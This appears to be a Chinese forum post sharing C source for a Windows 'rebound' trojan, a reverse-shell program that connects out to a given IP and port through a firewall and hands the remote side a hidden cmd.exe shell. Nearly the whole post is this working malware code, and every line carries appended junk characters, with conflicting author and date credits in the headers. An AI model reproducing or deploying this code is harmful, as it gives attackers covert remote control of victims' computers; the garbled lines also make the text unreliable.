这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =C`v+NPM)|
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/* ============================== N_C\L2
Rebound port in Windows NT \hi{r@k>}
By wind,2006/7 p@cPm8L3
===============================*/ M_9|YjwS
#include Kwh3SU=L}
#include (5km]`7z
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#pragma comment(lib,"wsock32.lib") cB -XmX/
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void OutputShell(); f$2lq4P{
SOCKET sClient; ZR..>=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OE4 2{?)
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void main(int argc,char **argv) ]~ec]Y
{ ?)]sfJG
WSADATA stWsaData; guwnYS
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; 2jx""{
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if(argc != 3) 4`Fbl]Q
{ %}j/G l5
printf("Useage:\n\rRebound DestIP DestPort\n"); [c>X Q
return; Onot<}K
} Lg Bs<2
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WSAStartup(MAKEWORD(2,2),&stWsaData); vja^O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L0+@{GP?
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stSaiClient.sin_family = AF_INET; .Z/"L@
stSaiClient.sin_port = htons(0); Nkv2?o>l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); vtL)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Gc@ENE f
{ 6 _73
printf("Bind Socket Failed!\n"); PicO3m
return; UK_2i(I"e
} "}PmAr e
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stSaiServer.sin_family = AF_INET; W9eR3q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !>>$'.nb@~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hfEGkaV._3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &=02.E@
{ [=V8
printf("Connect Error!"); D.?KgOZ
return; oxGOn('
} P6IhpB59
OutputShell(); YdeSJ(:
} oO= 6Kd+T
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void OutputShell() {{2ZWK 6|
{ zEks4yd
char szBuff[1024]; DbOWnXV"o
SECURITY_ATTRIBUTES stSecurityAttributes; 3!Be kn]
OSVERSIONINFO stOsversionInfo; ky!'.3yoI
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >@rp]xx
STARTUPINFO stStartupInfo; 8(g:i#~
char *szShell; hP9+|am%
PROCESS_INFORMATION stProcessInformation; i(U*<1y
unsigned long lBytesRead; rRsLl/d
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u9VJ{F
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6'qs=Ql
stSecurityAttributes.lpSecurityDescriptor = 0; z`
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stSecurityAttributes.bInheritHandle = TRUE; B3I<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yq;gBIiZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Qz/=+A/4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '<XG@L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n*_FC
stStartupInfo.wShowWindow = SW_HIDE; Dk[[f<H_{
stStartupInfo.hStdInput = hReadPipe; {},GxrQm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E-!`6
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GetVersionEx(&stOsversionInfo); ZEApE+m
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switch(stOsversionInfo.dwPlatformId) t,=khZ
{ u1>| 2D
case 1: E@[`y:P
szShell = "command.com"; :r#FI".qx
break; a2p<HW;)m
default: 5ue{&z
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szShell = "cmd.exe"; 81aY*\
break; X0
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} iL5+Uf)E3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nk6xavQji
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send(sClient,szMsg,77,0); wAy;ZNu
while(1) ^iTjr$hQ;
{ ot,<iE#za
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nP_ s+k
if(lBytesRead) !xa,[$w(^
{ <L5[#V_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %JiA,
send(sClient,szBuff,lBytesRead,0);
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} tR2IjvmsX
else Q*U$i#,
{ *a+~bX)18
lBytesRead=recv(sClient,szBuff,1024,0); )7J@A%u
if(lBytesRead<=0) break; odj|"ZK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _>&zhw2
} BU])@~$
} "-^TA_XfI
?M\3n5;
return; BIX%Bu0'f
}